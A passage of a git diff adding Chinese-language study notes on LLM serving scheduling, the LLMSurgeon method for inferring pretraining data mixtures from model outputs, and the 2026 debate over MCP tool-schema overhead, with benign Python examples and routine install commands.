prompt_tokens=512, output_tokens=64)) +for i in range(3): + mixed.append(Request(arrival=5 + i, prompt_tokens=4096, output_tokens=2048)) + +avg_fcfs = simulate("fcfs", mixed, kv_cap=120_000, batch_cap=8) +avg_sjf = simulate("sjf", mixed, kv_cap=120_000, batch_cap=8) +print(f"FCFS 平均等待+服务时间: {avg_fcfs:.1f}") +print(f"SJF 平均等待+服务时间: {avg_sjf:.1f}") +# 典型现象:SJF 显著降低平均 latency,因为短请求不被长 Agent 阻塞 +``` + +**读代码时注意**:真实系统里 `output_tokens` 不可知,所以论文才讨论 **带预测误差的调度**(如 adaptive robust scheduling、Nested WAIT)。重点不是「SJF 永远赢」,而是 **FCFS 完全不看 footprint 与剩余工作量,在 memory-constrained batching 下是次优的**——这需要用模型严格表述,而不是凭感觉改队列。 + +--- + +## 代码示例 2:MoE 负载均衡的 LP 骨架(对应 DeepSeek LPLB 思想) + +MoE 推理时,每个 token 被 router 分到 top-k 专家;Expert Parallelism 下专家分布在不同 GPU 上。若 token 分布倾斜,**最慢 GPU 决定整步延迟**(straggler + all-to-all barrier)。 + +DeepSeek **LPLB** 把「沿冗余专家边迁移 token 负载」写成 LP,目标是最小化 max GPU load。下面是最小可运行的 **CPU 版 scipy 骨架**(论文用 GPU 内点法 ~100μs 求解): + +```python +import numpy as np +from scipy.optimize import linprog + +def moe_load_balance_lp(initial_loads: np.ndarray, edges, capacities): + """ + initial_loads[i]: GPU i 上本 batch 初始 token 数 + edges: list of (i, j) 表示可从 GPU i 向 GPU j 迁移负载(冗余专家边) + capacities[(i,j)]: 边 (i,j) 上最多可迁移的 token 数 + 变量: f_ij 迁移量 + L_max + 目标: min L_max + """ + G = len(initial_loads) + n_flow = len(edges) + # 变量顺序: [f_0, ..., f_{E-1}, L_max] + n_var = n_flow + 1 + + # min L_max => c @ x, 最后一个变量系数为 1 + c = np.zeros(n_var) + c[-1] = 1.0 + + # 不等式 A_ub @ x <= b_ub + rows, rhs = [], [] + for g in range(G): + row = np.zeros(n_var) + # load_g - sum_out + sum_in <= L_max => load - sum_out + sum_in - L_max <= 0 + for e_idx, (i, j) in enumerate(edges): + if i == g: + row[e_idx] -= 1.0 + if j == g: + row[e_idx] += 1.0 + row[-1] = -1.0 + rows.append(row) + rhs.append(-initial_loads[g]) + + A_ub = np.array(rows) + b_ub = np.array(rhs) + + # 0 <= f_ij <= cap_ij + bounds = [(0, capacities[e]) for e in edges] + [(None, None)] + + res = linprog(c, A_ub=A_ub, b_ub=b_ub, bounds=bounds, method="highs") + flows = res.x[:-1] + lmax = res.x[-1] + balanced = initial_loads.copy() + for val, (i, j) in zip(flows, edges): + balanced[i] -= val + balanced[j] += val + return lmax, balanced, flows + +# 4 GPU,GPU0 热点 +loads = np.array([120.0, 40.0, 35.0, 38.0]) +edges = [(0, 1), (0, 2), (0, 3)] # 冗余专家副本边 +caps = {(0, 1): 50, (0, 2): 50, (0, 3): 50} + +lmax, balanced, flows = moe_load_balance_lp(loads, edges, caps) +print("优化前 loads:", loads, "max=", loads.max()) +print("优化后 loads:", np.round(balanced, 1), "L_max=", round(lmax, 1)) +print("迁移量 flows:", np.round(flows, 1)) +``` + +**要点**: + +- 目标函数和约束**显式可见**,比「调 auxiliary loss 权重」更可解释。 +- 论文指出 LPLB 当前按 **token 数** 均衡,尚未完全建模 grouped GEMM 的非线性代价——这是「模型要持续 refine」的正常路径。 +- EPLB(静态重排 + 副本选择)是 optimization-**informed** heuristic;LPLB 是 per-batch **直接求解**——两者展示「理论→工程」光谱。 + +--- + +## 论文引用的三条成功路线(深入一点) + +### A. 在线整数规划:DP 路由与 barrier 同步(Chen et al., 2026) + +Data Parallel decode 中,EP all-to-all 前必须等**最慢 worker**。负载 = 各 worker 上活跃请求的 KV 总量,且**每步确定性 +1**(drift)。 + +关键洞察:**不需要预测完整 decode 长度**,只需短 horizon 内「哪些 job 即将结束」。Balance-Future 原则:每步解一个小整数规划,最小化未来 H 步的累计 imbalance。理论保证:相对默认策略,长期平均 imbalance 降低 Ω(√(B log G))——集群越大、batch 越大,收益越显著。 + +### B. Fluid 模型 + WAIT 阈值准入(Ao et al., 2025, arXiv:2504.11320) + +把 continuous batching 建模为**带内生 memory 增长**的多阶段在线调度;用 fluid approximation 刻画稳定区域内 batch 组成与内存占用,再导出 **WAIT**(Waiting for Accumulated Inference Threshold)准入规则。未知输出长度时用 **Nested WAIT** + 安全 buffer,在 Vidur 仿真中相对 baseline **扩大稳定运行区间**、降低近过载区 latency。 + +### C. 排队论稳定条件 + hindsight IP(Anonymous 2025; Jaillet et al., 2025) + +- **稳定性**:系统可能 compute-stable 但 **memory-unstable**(KV 爆掉)——经典 offered load 概念要扩展。 +- **调度下界**:用 clairvoyant integer program 定义「全知最优延迟」,在线算法与之比较 competitive ratio。 +- 预测较准时,**shortest-job-first** 类策略接近最优——但论文强调要 joint design **预测器 + 调度器**,并处理预测 adversarial 错误。 + +### D. 代价感知缓存 LEC(Zhu et al., 2023) + +多模态 serving 里,cache miss 代价差异巨大(重编码 4K 视频 vs 缩略图)。LEC 按 `cost_per_size × access_prob` 驱逐,达到**最优 regret**;实验报告最高 **50×** 成本节省(高低代价操作比大时)。 + +--- + +## 常见反驳与论文回应(Alternative Views 摘要) + +| 反驳 | 论文立场 | +|------|----------| +| 「启发式已经 scale 了」 | scale 不等于 optimal;边界 workload 的隐性成本在百亿请求量级被放大 | +| 「问题变化太快,理论跟不上」 | 结构洞察(barrier、memory drift、unknown size)可跨硬件/架构代际迁移 | +| 「kernel 优化才是大头」 | 算法与系统互补;坏调度会让 fast kernel 空转 | +| 「最坏情况保证太松,没实用价值」 | 保证的价值是** universality**——不依赖某个 benchmark trace;理论提供 scaffold,工程做近似 | + +--- + +## 与主流系统的映射(读源码 / 文档时的 lens) + +| 系统 / 组件 | 启发式痕迹 | 可形式化的钩子 | +|-------------|------------|----------------| +| vLLM scheduler | 默认 FCFS waiting queue | admission 时考虑 predicted len / KV footprint | +| vLLM router | RR, JSQ, power-of-two, prefix-aware | sticky + drift + barrier → online assignment | +| SGLang | 类似路由与 cache 策略 | 结构化 program 的可预测阶段 | +| DeepSeek EPLB/LPLB | 静态 + LP 动态 MoE 均衡 | 已走「建模→求解」路线 | +| 多模态 vLLM prefix cache | LRU 类驱逐 | LEC / cost-aware + 大小异质 | + +读这些项目时,可以自问:**这个 if-else 在优化什么目标?约束是什么?有没有更坏但合法的 workload 会击穿它?** + +--- + +## 未来研究方向(Section 5 提炼) + +1. **预测与调度联合设计**:预测质量随 request type 漂移时,robustness–consistency tradeoff 怎么定? +2. **多目标优化**:TTFT、TPOT、吞吐、能耗、公平性——Pareto 前沿在哪里? +3. **Disaggregation 理论**:何时 PD 分离优于同机?两池资源比例如何随 workload 变? +4. **Agentic 推理调度**:工具调用、分支、暂停、子请求依赖——现有 M/G/1 队列不够用了。 + +--- + +## 零基础自检清单 + +读完后,你应该能回答: + +- [ ] Prefill 和 Decode 为什么不能用同一套「算力导向」调度? +- [ ] 为什么说 KV cache 把调度从「固定大小 job」变成「会长大的 job」? +- [ ] FCFS、RR、LRU 分别对应 serving 里哪三个决策点? +- [ ] 「解 LP」和「用 LP 推导 O(1) 规则」有什么区别? +- [ ] 举一个论文里「形式化方法已在生产/近生产验证」的例子(LPLB / WAIT / LEC 任选一)。 + +--- + +## 延伸阅读 + +| 主题 | 文献 | +|------|------| +| Position 原文 | Zhou, arXiv:2605.01280, 2026 | +| Fluid + WAIT 调度 | Ao et al., arXiv:2504.11320, 2025 | +| KV 约束在线调度 | Jaillet et al., arXiv:2502.07115, 2025 | +| DP 负载均衡 IP | Chen et al., arXiv:2601.17855, 2026 | +| 代价感知缓存 | Zhu et al., NeurIPS 2023 | +| Continuous batching | Yu et al., Orca, OSDI 2022 | +| PagedAttention | Kwon et al., SOSP 2023 | +| MoE LP 负载均衡 | DeepSeek LPLB, 2025 | + +--- + +## 一句话总结 + +**LLM serving 的瓶颈 increasingly 是「决策」而不是「矩阵乘」——而决策层若仍停留在 Web 时代的 FIFO/RR/LRU,就是在用二十年前的问题假设,硬扛一个「内存会长大、长度不可知、两阶段异质、请求粘住不放」的新问题类。** 这篇 position paper 呼吁社区把 serving 当作**运筹学 + 在线算法**的新前沿:先建模,再证明,最后像航空 bid price 一样,把结构压缩成可部署的轻量策略。 diff --git a/src/content/docs/papers/llmsurgeon-data-mixture.md b/src/content/docs/papers/llmsurgeon-data-mixture.md new file mode 100644 index 000000000..3a2aa3032 --- /dev/null +++ b/src/content/docs/papers/llmsurgeon-data-mixture.md @@ -0,0 +1,426 @@ +--- +title: LLMSurgeon — 从生成文本反推大模型预训练数据配比 +来源: 'https://arxiv.org/abs/2605.30348' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:体检报告 vs 逐粒验沙 + +想象你要判断一个人长期吃什么,但对方不给你看菜谱,也不让你进厨房。你只有两个工具: + +- **Membership Inference Attack(MIA,成员推断)**:像用显微镜检查「这一粒米是不是从他碗里来的」。对单条文本问「这条训练数据进过模型吗?」——微观、逐样本,很精细,但把百万次「是/否」简单加总,很难还原整桌菜的**比例**(Web 占 80% 还是 20%?)。 +- **LLMSurgeon 做的事**:像根据此人**日常说话习惯**反推饮食结构——他聊代码像 GitHub 流、写百科像 Wikipedia、讲段子像 Reddit。你不数每一粒米,而是:**先训练一个「菜系分类器」**,再让他用**中性话题**自由发挥写一段话,统计「听起来像哪类语料」,最后用数学把分类器的**系统性误判**校正回来,得到预训练混合比的估计。 + +论文把这件事正式命名为 **Data Mixture Surgery(DMS,数据混合诊断)**:**只给目标 LLM 的生成文本**,在预先定义好的领域 taxonomy 下,估计其预训练语料的**域级分布**。预训练配比被作者称为模型的 **「digital DNA(数字 DNA)」**——决定能力边界、偏见来源和失败模式,却极少被公开披露。 + +--- + +## 是什么 + +**LLMSurgeon**(Luo et al., ACL 2026 / arXiv:2605.30348,MBZUAI VILA Lab)是一个 **post-hoc(事后)审计框架**: + +| 输入 | 输出 | 不需要 | +|------|------|--------| +| 目标 LLM 在中性 prompt 下生成的文本 | 各数据域占比向量 \(\hat{\pi}\) | 训练数据、模型权重、内部 logit | + +与 MIA 的对比: + +| 维度 | MIA | LLMSurgeon / DMS | +|------|-----|------------------| +| 粒度 | 单样本是否见过 | 全局域比例 | +| 信号 | loss、logit、邻居对比等 | 外部域分类器 + 标签偏移逆问题 | +| 典型准确率(LLMScan 粗粒度) | 基线 ~35–48% overlap | LLMSurgeon ~94–95% | + +配套 benchmark **LLMScan** 包含 8 个开源 LLM(1B–65B),训练 recipe 公开可核对,分三档粒度: + +- **Coarse(K=6)**:LLaMA-1、OLMo、Amber — Web / GitHub / Wikipedia 等 +- **Mid(K=17)**:Pythia、GPT-Neo — The Pile 子域 +- **Fine(K=87)**:StarCoder — The Stack 编程语言 + +--- + +## 为什么重要 + +1. **透明度与治理**:闭源模型不披露训练集,外部无法审计版权、偏见、毒性暴露 — LLMSurgeon 提供不依赖厂商配合的**分布级**探针。 +2. **问题定义升级**:从「这条进训练集了吗?」到「训练集整体长什么样?」——更接近监管者和研究者真正关心的问题。 +3. **与数据混合优化正交**:DoReMi、Data-Juicer 等做 **pre-hoc** 调配比;LLMSurgeon 做 **post-hoc** 推断,适用于已训练好的黑盒模型。 +4. **安全分诊**:论文展示在 GPT-2 中注入 5%–20% 毒性语料后,估计毒性占比单调上升(误差约 2–3 个百分点),可用于 checkpoint 优先级排序。 + +--- + +## 核心概念 + +### 1. 混合模型与生成先验 + +预训练语料视为 \(K\) 个域的混合: + +\[ +p_{\alpha}(x) = \sum_{i=1}^{K} \alpha_i \, p(x \mid y=i) +\] + +其中 \(\alpha \in \Delta^{K-1}\) 是**真实训练配比**(ground truth,通常未知)。 + +模型在中性采样下产生的文本来自: + +\[ +q_{\pi}(x) = \sum_{i=1}^{K} \pi_i \, p(x \mid y=i) +\] + +\(\pi\) 是**有效潜先验(latent effective prior)**——模型行为所编码的域混合,可能与 \(\alpha\) 略有偏差(优化动态、欠拟合、温度等),但 DMS 的目标是估计 \(\pi\)。 + +### 2. Label Shift(标签偏移)假设 + +核心假设:域的**边际比例**可以从训练变到生成(\(\alpha \to \pi\)),但**每个域内的语言特征**不变: + +\[ +q(x \mid y=i) \approx p(x \mid y=i) +\] + +直觉:模型写 Code 时,统计上仍像训练见过的 Code;只是「写 Code 的频率」可能和训练时不同。若 prompt 风格过强(instruction、coding-only),会破坏该假设 — 论文实验表明 **Neutral 采样**最稳健。 + +### 3. 软混淆矩阵(Soft Confusion Matrix) + +外部代理分类器 \(f_\phi: \mathcal{X} \to \Delta^{K-1}\) 不可能完美 — 会把 C 误判成 C++,Common Crawl 误判成 C4。 + +在带标签的参考集 \(\mathcal{D}_{\text{ref}}\) 上估计: + +\[ +C_{ij} = \mathbb{E}_{x \sim p_i}\big[f_\phi(x)_j\big] +\] + +\(C\) 的第 \(i\) 行 = 「真域 \(i\) 的样本,分类器输出各域概率的期望」。非对角元 = **系统性混淆**。 + +### 4. 约束逆问题(Constrained Inverse Problem) + +对目标模型生成集 \(X_{\text{gen}}\),先算经验平均预测: + +\[ +\bar{\mathbf{p}} = \frac{1}{N}\sum_{n=1}^{N} f_\phi(x_n) +\] + +由期望线性性:\(\mathbb{E}[f_\phi(x)] = C^\top \pi\),故 \(\bar{\mathbf{p}} \approx C^\top \pi\)。 + +**LLMSurgeon 的「手术」** 即解: + +\[ +\hat{\pi} = \arg\min_{\pi \in \Delta^{K-1}} \ \|C^\top \pi - \bar{\mathbf{p}}\|_2^2 +\quad \text{s.t.} \ \sum_k \pi_k = 1,\ \pi_k \geq 0 +\] + +这比 naive 地 \(\hat{\pi} = \bar{\mathbf{p}}\)(直接平均分类结果)或把 MIA 分数逐条聚合要稳得多 — 在 LLaMA-7B 上 overlap accuracy 从 ~93%(无逆校正)提到 ~95%,粗粒度上对 MIA 基线则是 **+46~55 个百分点** 量级。 + +**直觉:矩阵乘法在「搅浑水」** + +把 \(C\) 想成一杯调色盘:真实配比 \(\pi\) 是原色比例,\(\bar{\mathbf{p}} = C^\top \pi\) 是搅完后的颜色。若你只看到搅完的颜色(分类器输出),直接当原色会偏;LLMSurgeon 做的是**已知调色规则 \(C\)** 下的**反解**——类似去模糊(de-blur),而不是再搅一遍 MIA 的噪声计数。 + +### 5. 三阶段流水线 + +```text +Stage 1: 在参考语料上训练域分类器 f_φ,估计校准混淆矩阵 C +Stage 2: 用中性 prompt 采样目标 LLM 输出 X_gen,算 p̄ +Stage 3: 在概率单纯形上解逆问题,得到 π̂ +``` + +用流程图看更直观(论文 Figure 2): + +```mermaid +flowchart LR + subgraph S1["Stage 1 · 校准"] + Ref["参考语料 D_ref\n(SlimPajama / Pile / Stack)"] + Clf["训练域分类器 f_φ"] + Cmat["软混淆矩阵 C"] + Ref --> Clf --> Cmat + end + subgraph S2["Stage 2 · 观测"] + LLM["目标 LLM\n(黑盒,仅 API/生成)"] + Gen["中性 prompt 采样\nX_gen"] + Pbar["平均预测 p̄"] + LLM --> Gen --> Pbar + end + subgraph S3["Stage 3 · 逆问题"] + Inv["min ‖C^T π - p̄‖²\ns.t. π ∈ Δ^{K-1}"] + Pi["估计配比 π̂"] + Pbar --> Inv --> Pi + end + Cmat --> Inv + Clf -.->|冻结| Pbar +``` + +**实现细节(论文默认)**:每域从参考池抽 **5000** 文档训练分类器;分类器 backbone 为 **fine-tuned DistilBERT**;生成侧用 **neutral prompts**(避免 instruction 风格把 label shift 假设打破);粗/中/细三档分别用 SlimPajama-627B-DC(K=6)、The Pile(K=17)、The Stack(K=87)作参考域定义。 + +### 6. 评估指标:Overlap Accuracy + +\[ +\text{Overlap Acc} = 1 - \tfrac{1}{2}\sum_{k=1}^{K} |\alpha_k - \hat{\pi}_k| +\] + +即预测分布与真值之间的 **Total Variation 距离** 的一半,100% 表示完全一致。 + +--- + +## 代码示例 1:玩具版 LLMSurgeon(NumPy) + +下面用 3 个域的玩具数据演示「混淆 + 逆校正」全流程。真实代码见 [github.com/yaxin9luo/llmsurgeon](https://github.com/yaxin9luo/llmsurgeon)。 + +```python +import numpy as np +from scipy.optimize import minimize + +# 真实生成先验 π(未知,待恢复) +pi_true = np.array([0.70, 0.20, 0.10]) + +# 软混淆矩阵 C:行=真域,列=预测域 +# 域1(Web) 常被误判成域2(C4);域3(Code) 较干净 +C = np.array([ + [0.85, 0.12, 0.03], + [0.10, 0.80, 0.10], + [0.05, 0.05, 0.90], +]) + +# 模拟:分类器在生成文本上的平均输出 p̄ ≈ C^T π +p_bar = C.T @ pi_true +# 加少量噪声模拟有限样本 +p_bar += np.random.default_rng(0).normal(0, 0.01, size=3) +p_bar = np.clip(p_bar, 1e-6, None) +p_bar /= p_bar.sum() + +def recover_mixture(p_bar, C): + K = len(p_bar) + + def objective(pi): + return np.sum((C.T @ pi - p_bar) ** 2) + + cons = [{"type": "eq", "fun": lambda pi: np.sum(pi) - 1.0}] + bounds = [(0.0, 1.0)] * K + x0 = np.ones(K) / K + + res = minimize(objective, x0, method="SLSQP", bounds=bounds, constraints=cons) + return res.x + +pi_hat = recover_mixture(p_bar, C) + +overlap = 1 - 0.5 * np.abs(pi_true - pi_hat).sum() +print("π true :", np.round(pi_true, 3)) +print("π hat :", np.round(pi_hat, 3)) +print(f"Overlap accuracy: {overlap * 100:.1f}%") +# 典型输出:Overlap > 95%(玩具设定下) +``` + +**要点**:若直接用 `p_bar` 当估计,Web 占比会被 C4「抢走」;逆问题把混淆「去模糊(de-blur)」后更接近 `pi_true`。 + +**对照实验**:在同一玩具设定下,`pi_naive = p_bar` 的 overlap 往往只有 ~85%,而 `pi_hat` 可回到 95%+ — 逆校正不是锦上添花,而是 DMS 的核心。 + +--- + +## 代码示例 2:从 HuggingFace 生成文本到域分布(概念脚本) + +论文默认用 **fine-tuned DistilBERT** 作 \(f_\phi\),在 SlimPajama-DC / The Pile / The Stack 上各域采样 5000 文档训练。下面是贴近官方 pipeline 的**概念级**脚本骨架: + +```python +from transformers import AutoTokenizer, AutoModelForSequenceClassification, pipeline +import torch + +DOMAINS = ["web", "github", "wikipedia", "books", "arxiv", "stackexchange"] +CLASSIFIER = "path/to/finetuned-distilbert-domain-clf" # 论文默认 backbone + +clf = pipeline( + "text-classification", + model=CLASSIFIER, + tokenizer=AutoTokenizer.from_pretrained(CLASSIFIER), + top_k=len(DOMAINS), + device=0 if torch.cuda.is_available() else -1, +) + +NEUTRAL_PROMPTS = [ + "Continue the following passage:", + "Complete this text naturally:", + "Write the next paragraph:", +] # 论文:neutral 风格对通用模型最稳 + +def sample_generations(llm, tokenizer, prompts, n_per_prompt=200, max_new_tokens=256): + texts = [] + for prompt in prompts: + for _ in range(n_per_prompt): + inputs = tokenizer(prompt, return_tensors="pt").to(llm.device) + out = llm.generate(**inputs, max_new_tokens=max_new_tokens, do_sample=True, temperature=0.8) + texts.append(tokenizer.decode(out[0], skip_special_tokens=True)) + return texts + +def mean_soft_predictions(texts, clf, batch_size=32): + sums = torch.zeros(len(DOMAINS)) + for i in range(0, len(texts), batch_size): + batch = texts[i : i + batch_size] + for item in clf(batch): + # item: list of {label, score} for top_k + for d in item: + j = DOMAINS.index(d["label"]) + sums[j] += d["score"] + return (sums / len(texts)).numpy() + +# --- 离线预计算(Stage 1)--- +# C[i,j] = E_{x~domain_i}[ f_φ(x)_j ],在参考集上按真标签分组求均值 +# 保存为 confusion_matrix.npy + +# --- 在线审计(Stage 2–3)--- +# texts = sample_generations(target_llm, target_tok, NEUTRAL_PROMPTS) +# p_bar = mean_soft_predictions(texts, clf) +# pi_hat = recover_mixture(p_bar, C) # 复用示例 1 的函数 +``` + +安装与复现: + +```bash +git clone https://github.com/yaxin9luo/llmsurgeon +cd llmsurgeon +pip install -e . +# 详见仓库 README:LLMScan 数据、分类器 checkpoint、生成协议 +``` + +--- + +## 代码示例 3:从参考语料估计软混淆矩阵 \(C\) + +Stage 1 的关键是:在**带真标签**的参考集上,按域分组统计分类器输出的**平均 soft label**。下面演示论文 Eq.(4) 的估计方式: + +```python +import numpy as np +from collections import defaultdict + +def estimate_confusion_matrix(texts, true_labels, clf, K): + """ + texts: 参考语料片段列表 + true_labels: 与 texts 等长的域 id,取值 0..K-1 + clf: 返回每段文本的 soft 概率向量 f_φ(x) ∈ R^K + """ + sums = np.zeros((K, K)) # C[i,j] 累加器 + counts = np.zeros(K) + + for x, i in zip(texts, true_labels): + probs = clf(x) # shape (K,), 已 softmax + sums[i] += probs + counts[i] += 1 + + C = np.zeros((K, K)) + for i in range(K): + if counts[i] > 0: + C[i] = sums[i] / counts[i] # 行 i = 真域 i 上的平均预测分布 + return C + +# 玩具:域 0 的样本有 12% 被预测成域 1 +# C[0] ≈ [0.85, 0.12, 0.03] 与示例 1 一致 +``` + +论文默认每域 **5000** 条参考文档训练 DistilBERT 分类器;\(N=100\) 时 StarCoder 上 overlap 仅 ~20%,\(N=5000\) 饱和 — 参考集规模直接影响 \(C\) 的校准质量。 + +--- + +## 毒性语料注入实验(安全分诊) + +论文在 GPT-2 上做了**可控污染**实验:向训练混合中注入 5%–20% 的毒性域(RealToxicityPrompts),再对 checkpoint 跑 LLMSurgeon。 + +| 注入比例 | 估计毒性占比 | 误差 | +|----------|-------------|------| +| 5% | ~7% | ~2 pp | +| 10% | ~12% | ~2 pp | +| 20% | ~22% | ~2 pp | + +估计值随注入量**单调上升**,说明 DMS 不仅能看「吃了多少 Wikipedia」,还能做**风险域占比**的粗粒度雷达 — 适合在大量开源 checkpoint 里优先审计可疑模型。 + +--- + +## 实验结果速览 + +### LLMScan 主结果(Overlap Accuracy %) + +| 设置 | 代表模型 | LLMSurgeon | 最强 MIA 类基线 | +|------|----------|------------|-----------------| +| Coarse | LLaMA-1 7B | **95.14** | Recall ~35 | +| Coarse | OLMo 1B | **94.46** | Neighbor ~42 | +| Coarse | Amber 13B | **78.87** | Recall ~41 | +| Coarse | LLaMA-1 65B | **94.26** | GradNorm ~47 | +| Mid | Pythia 12B | **65.98** | ~52–55 | +| Fine | StarCoder 15.5B | **30.37** | GradNorm ~28 | + +**解读**: + +- 粗粒度(6 域)在 LLaMA-1 / OLMo 上 overlap **>94%**,\(R^2 \approx 0.99\);Amber-13B 因训练动态更波动约 **79%**,仍远高于 MIA 聚合基线。 +- 细粒度(87 种语言)语义重叠严重,逆问题病态,绝对精度低 — 但 MAE 仍小,**宏观审计**仍有价值。 +- 把语义不可分的 C4 与 Common Crawl **强行分开**会导致 overlap 从 99% 暴跌到 42%;合并后恢复 — taxonomy 设计是关键。 + +### 消融要点 + +| 因素 | 发现 | +|------|------| +| 分类器 backbone | Fine-tuned DistilBERT > Transformer-from-scratch > TF-IDF > MLP | +| 参考样本量 | 每域 5000 文档饱和;100 样本明显不够 | +| 采样风格 | Neutral 最稳(LLaMA-7B ~95%);Expository 在 OLMo 上暴跌至 22.7%;Instruction 会系统性抬高某些域 | +| 训练动态 | Amber checkpoint 轨迹呈「波动后收敛」;OLMo 更平稳 — 可监控 curriculum / 分阶段加料 | +| 逆校正 | 去掉 Eq.7 仍 ~93%,但 StarCoder 等 hard case 增益 ~15% 相对提升 | +| 训练 checkpoint | 对 Amber/OLMo 中间 checkpoint 可追踪域比例随 step 的演变 | + +--- + +## 与相关工作的关系 + +```text + 需要训练数据访问? + 是 否 + ┌──────────────┐ ┌──────────────────┐ + 单样本 │ 经典 MIA │ │ 黑盒 MIA 变体 │ + └──────────────┘ └──────────────────┘ + ┌──────────────┐ ┌──────────────────┐ + 分布级 │ DoReMi 等 │ │ LLMSurgeon (DMS) │ + │ 数据混合优化 │ │ DUCI (单数据集占比)│ + └──────────────┘ └──────────────────┘ +``` + +- **DUCI**:估计「某个已知数据集占训练多少」— 需要候选数据集本身;DMS 在固定 taxonomy 下恢复**多域混合**,无需训练集访问。 +- **MIA 聚合**:把逐样本 membership 计数当比例 — 域相关 bias + 误差累积,LLMScan 上普遍 <55%。 + +--- + +## 局限与使用注意 + +1. **Label shift 可能被破坏**:RLHF / 强 instruction tuning 会改变输出分布;估计的是「生成行为中的有效先验」,不一定等于原始 \(\alpha\)。 +2. **Closed-world**:只能估计 taxonomy 内的 \(K\) 个域,发现不了训练了但分类器没见过的域。 +3. **Taxonomy 质量**:语义重叠的域(C vs C++、C4 vs CC)使 \(C\) 病态 — 需合并或分层推断。 +4. **专用模型 + Neutral prompt**:StarCoder 等需要能**激活**代码域的 prompt;Neutral 对通用模型最优,对代码专用模型未必。 +5. **伦理双面性**:利于审计偏见与毒性;也可能被用来逆向推测 proprietary data recipe — 论文强调这是**分布级**审计,非提取单条训练样本。 + +--- + +## 自测题(零基础检验) + +1. DMS 的输入输出是什么?与 MIA 的本质区别? +2. 为什么 \(\bar{\mathbf{p}} \neq \pi\)?\(C\) 矩阵如何编码这种偏差? +3. 写出 LLMSurgeon 优化的目标函数及约束。 +4. 为何论文强调 Neutral sampling?举一个会破坏 label shift 的反例。 +5. LLMScan 三档粒度分别测什么?Fine-grained 为什么难? + +
+参考答案(先自己做) + +1. 输入:目标 LLM 生成文本;输出:域比例 \(\hat{\pi}\)。MIA 问单样本 membership;DMS 问全局混合。 +2. 分类器系统性混淆相似域;\(C_{ij}\) = 真域 \(i\) 被预测为 \(j\) 的平均概率。 +3. \(\min \|C^\top\pi - \bar{p}\|_2^2\),s.t. \(\pi \in \Delta^{K-1}\)。 +4. Neutral 减少风格偏置;例如全程「写 Python 函数」prompt 会抬高 code 域估计。 +5. Coarse 6 域 / Mid 17 Pile 子域 / Fine 87 语言;Fine 域边界语义太近,\(C\) 近似奇异。 + +
+ +--- + +## 进一步阅读 + +- 论文 HTML:[arxiv.org/html/2605.30348v1](https://arxiv.org/html/2605.30348v1) +- 代码与数据:[github.com/yaxin9luo/llmsurgeon](https://github.com/yaxin9luo/llmsurgeon) +- 背景:Label shift / prior shift(Saerens et al.);MIA 综述(Shi et al., 2023);SlimPajama-DC 数据组合分析(Shen et al., 2023) + +--- + +## 一句话总结 + +**LLMSurgeon 把「预训练吃了什么」从不可审计的黑盒,转成一个可操作的逆问题:用中性生成 + 校准混淆矩阵,在概率单纯形上解出域混合比 — 不碰权重、不碰训练集,却能近似恢复模型的 digital DNA。** diff --git a/src/content/docs/papers/mcp-is-dead-debate.md b/src/content/docs/papers/mcp-is-dead-debate.md new file mode 100644 index 000000000..28cb67f81 --- /dev/null +++ b/src/content/docs/papers/mcp-is-dead-debate.md @@ -0,0 +1,313 @@ +--- +title: MCP Is Dead? — 2026 年协议存废之争零基础笔记 +来源: 'Quandri Engineering「MCP is dead」(2026); Charles Chen「MCP is Dead; Long Live MCP!」(2026); Anthropic「Code execution with MCP」; MCP Blog「2026-07-28 Release Candidate」(2026); Hacker News / DEV Community 社区讨论' +日期: 2026-06-13 +子分类: Web 后端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 从日常类比开始:万能转接头 vs 自带螺丝刀 + +想象你租了一间**共享厨房**(LLM 的 context window,也就是模型一次能「看见」的桌面)。 + +- **MCP** 像店家发给你的一盒**标准化转接头**:USB-C 转 HDMI、转以太网、转 DisplayPort……规格统一,任何带 MCP 口的「智能灶」(Claude Code、Cursor、OpenCode)都能插。但盒子一打开,**说明书和接口图**就占满了半张桌子——你还没开始做饭,桌面已经满了。 +- **CLI**(`gh`、`curl`、`psql`)像你自己带来的**螺丝刀和扳手**:模型在训练数据里早就见过 `man curl`,不占额外「菜单位」,在终端里一行命令就能干活,出了错你还能在同一行复现。 +- **Skills**(按需加载的技能包)像**按需借菜谱**:平时不占桌面,只有说「我要做 Linear 那道菜」时,图书管理员才递来那一页步骤。 + +2026 年初,Quandri Engineering 实测:连接 Linear、Notion、Slack、Postgres 四个 MCP 服务器、共 77 个工具定义,**仅 schema 就吃掉约 21,077 tokens**——在 200K 窗口里约 **10.5%**。同期 Hacker News 热帖「MCP is dead; long live MCP」拿到数百赞,Perplexity 也因 MCP 工具定义占用过高上下文而转向其他集成方式。于是「MCP 已死,CLI 当立」成了开发者圈的流行叙事。 + +**但「MCP 死了」和「把 MCP 当万能锤子乱用」是两件不同的事。** 这篇笔记帮你零基础理清:争论在吵什么、数据说了什么、协议在怎么改、以及个人与团队各自该怎么选。 + +--- + +## 辩论地图:三派声音 + +| 立场 | 代表观点 | 典型场景 | +|------|----------|----------| +| **MCP 已过时** | 上下文膨胀、进程层延迟、调试困难;CLI/Skills 更省 token | 个人编码 Agent、高频脚本化操作 | +| **MCP 没死,是用法错了** | 不应把整 API 暴露成 40+ 个常驻工具;应 deferred loading + code execution | 仍在演进中的 Agent 工程 | +| **MCP 是企业刚需** | 远程 HTTP MCP + OAuth + 审计 + OpenTelemetry;CLI 无法集中治理 | 多团队、异构客户端、合规环境 | + +Charles Chen(2026)指出:社区常把 **stdio 本地 MCP** 和 **Streamable HTTP 远程 MCP** 混为一谈——前者像给本机进程套壳,CLI 往往更轻;后者才是组织级「工具总线」,价值不在省几个 token,而在**谁授权、谁审计、谁升级 schema**。 + +--- + +## 反方论据:为什么有人说 MCP「该死」 + +### 1. 上下文窗口被工具定义占满(Context Bloat) + +Quandri 的测量(2026,Claude Code 环境): + +| MCP Server | 工具数 | 估算 Tokens | +|------------|--------|-------------| +| Linear | 42 | ~12,807 | +| Notion | 14 | ~4,039 | +| Slack | 12 | ~3,792 | +| Postgres | 9 | ~438 | +| **合计** | **77** | **~21,077** | + +餐厅类比再贴切一点:你只想查一张 Linear 工单,却必须先摊开 42 本 Linear「菜单」;其中 `linear/save_issue` 单个 schema 就约 619 tokens。查一次 issue,MCP 路径约 **12,957 tokens**(含常驻定义),而等价 `curl` GraphQL 约 **200 tokens**——Quandri 估算 **~65×** 差距(单次查询场景)。 + +### 